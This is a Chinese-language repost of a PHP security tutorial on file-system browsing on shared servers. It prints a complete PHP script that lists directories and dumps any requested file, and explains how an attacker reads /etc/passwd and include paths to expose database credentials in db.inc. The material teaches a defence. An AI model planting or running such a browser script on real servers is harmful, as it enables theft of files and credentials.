欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  后端开发

PHP安全-文件系统浏览

程序员文章站 2022-05-31 08:26:29
...



文件系统浏览

除了能在共享服务器上读取任意文件之外,攻击者还能建立一个可以浏览文件系统的脚本。由于你的大多数敏感文件不会保存在网站主目录下,此类脚本一般用于找到你的源文件的所在位置。请看下例:

 <pre>
 
  <?php
 
  if (isset($_GET['dir']))
  {
    ls($_GET['dir']);
  }
  elseif (isset($_GET['file']))
  {
    cat($_GET['file']);
  }
  else
  {
    ls('/');
  }
 
  function cat($file)
  {
    echo htmlentities(file_get_contents($file),
ENT_QUOTES, 'UTF-8'));
  }
 
  function ls($dir)
  {
    $handle = dir($dir);
 
    while ($filename = $handle->read())
    {
      $size = filesize("$dir$filename");
 
      if (is_dir("$dir$filename"))
      {
        $type = 'dir';
        $filename .= '/';
      }
      else
      {
        $type = 'file';
      }
 
      if (is_readable("$dir$filename"))
      {
        $line = str_pad($size, 15);
        $line .= "<a
href=\"{$_SERVER['PHP_SELF']}";
        $line .=
"?$type=$dir$filename\">$filename</a>";
      }
      else
      {
        $line = str_pad($size, 15);
        $line .= $filename;
      }
 
      echo "$line\n";
    }
 
    $handle->close();
  }
 
  ?>
 
  </pre>


攻击者可能会首先察看/etc/passwd文件或/home目录以取得该服务器上的用户名清单;可以通过语言的结构如include或require来发现保存在网站主目录以外的源文件所在位置。例如,考虑一下下面的脚本文件/home/victim/public_html/admin.php:

  <?php
 
  include '../inc/db.inc';
 
  /* ... */
 
  ?>


如果攻击者设法显示了该文件的源码,就可以发现db.inc的所在位置,同时他可以使用readfile()函数来使其内容暴露,取得了数据库的访问权限。这样,在这个环境中保存db.inc于网站主目录之外的做法并未起到保护作用。

这一攻击说明了为什么要把共享服务器上的所有源文件看成是公开的,并要选择数据库实现所有敏感数据的保存。

以上就是PHP安全-文件系统浏览的内容,更多相关内容请关注PHP中文网(www.php.cn)!